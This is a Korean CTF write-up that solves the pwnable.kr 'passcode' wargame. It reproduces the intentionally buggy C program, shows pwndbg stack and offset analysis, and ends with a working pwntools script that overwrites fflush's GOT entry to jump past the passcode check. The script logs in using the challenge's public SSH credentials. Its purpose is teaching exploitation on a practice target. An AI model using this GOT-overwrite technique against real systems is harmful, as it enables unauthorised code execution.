이번 문제는 인증 절차를 무력화 시켜 플래그를 얻는 문제입니다.

/* 
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

=========================================================

passcode@pwnable:~$ checksec ./passcode
[*] '/home/passcode/passcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
*/

#include <stdio.h>
#include <stdlib.h>

void login() {
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if (passcode1 == 338150 && passcode2 == 13371337) {
        printf("Login OK!\n");
        system("/bin/cat flag");
    } else {
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome() {
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main() {
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

코드를 보면 scanf() 에 주소 연산자가 누락되어있어 두 passcode 변수는 입력을 받을 수 있는 상황이 아닙니다.

그리고 브루트포스도 32비트라서 하나는 가능할지 몰라도 두개까지 맞춘다는건 불가능에 가깝습니다.

눈에 띄는점은 welcome()name 변수 길이가 상당히 길고 login() 에 존재하는 두 passcode 변수는 초기화를 안하고 사용하고 있습니다.

welcome
================================================
Stack level 0, frame at 0xffa10a70:
 eip = 0x804862f in welcome; saved eip = 0x804867f
 called by frame at 0xffa10a90
 Arglist at 0xffa10a68, args:
 Locals at 0xffa10a68, Previous frame's sp is 0xffa10a70
 Saved registers:
  ebp at 0xffa10a68, eip at 0xffa10a6c

login
================================================
Stack level 0, frame at 0xffa10a70:
 eip = 0x8048586 in login; saved eip = 0x8048684
 called by frame at 0xffa10a90
 Arglist at 0xffa10a68, args:
 Locals at 0xffa10a68, Previous frame's sp is 0xffa10a70
 Saved registers:
  ebp at 0xffa10a68, eip at 0xffa10a6c

스택상으로 보면 welcome()login() 이 동일한 스택 영역을 재활용 하기 때문에 name 변수에 값을 잘만 넣어주면 passcode 를 원하는 값으로 셋팅할 수 있겠네요.

pwndbg> x/x $ebp-0x70
0xffc88ed8:     0x00000028
pwndbg> x/x $ebp-0x10
0xffc88f38:     0xf7e57cab
pwndbg> x/x $ebp-0x0c
0xffc88f3c:     0x164b5400
pwndbg> p/d ($ebp-0x10)-($ebp-0x70)
$3 = 96
pwndbg> p/d ($ebp-0x0c)-($ebp-0x70)
$4 = 100

name 의 주소는 0xffc88ed8 이고, 오프셋을 계산해보면 passcode1 은 96바이트, passcode2 는 100바이트 뒤에 존재합니다.

흠… passcode1 은 덮을 수 있는데 passcode2 는 범위 밖이라 불가능합니다.

pwndbg> x/wx $ebp-0x0c
0xffe4ec0c:     0x8b85a800
pwndbg> run <<< $(python -c 'print("a"*96+"\xe6\x28\x05")')
Starting program: /home/andrew/fun/writeups/wargame/pwnablekr/passcode/passcode <<< $(python -c 'print("a"*96+"\xe6\x28\x05")')

pwndbg> x/wx $ebp-0x0c
0xffc5447c:     0x622e3800

차라리 다른 방향으로 꺾는게 나을 것 같습니다.

문제 코드를 다시 보면 passcode1 이 초기화되지 않기 때문에 welcome() 에서 passcode1 을 원하는 주소로 덮으면 이후 scanf("%d",passcode1) 에서 받아들인 정수 값은 제가 임의로 쓴 주소에 write 되게 됩니다.

void login() {
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

현재 바이너리에는 Partial RELRO 가 적용되어있어 GOT 영역에 쓰기가 가능합니다.

그러니 scanf() 직후 호출되는 fflush() 즉, fflush@got.plt 에 원하는 주소를 write 해주면 fflush() 호출 시 GOT 를 따라 해당 코드로 점프하게 됩니다.

PLT/GOT 의 동작 과정은 저번 포스팅에서 이미 다뤘으니 생략하겠습니다.

   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>

덮을 주소는 passcode 조건 체크 로직 뒤 system("/bin/cat flag"); 를 실행하는 부분으로 하겠습니다.

#!/usr/bin/env python

from pwn import *

context.log_level = "debug"

conn = ssh(host="pwnable.kr", port=2222, user="passcode", password="guest")
proc = conn.process(executable="./passcode", argv=["./passcode"])

fflush_got = 0x804a004
system = 0x080485d7

payload = "a"*96
payload += p32(fflush_got)
payload += str(int(system))

print(proc.recvline(1024, timeout=1.0))
proc.sendline(payload)
print(proc.recvall(timeout=1.0))
proc.close()

이제 GOT 를 덮으면 fflush() 가 호출되는 대신에 플래그가 출력됩니다.

읽어주셔서 감사합니다.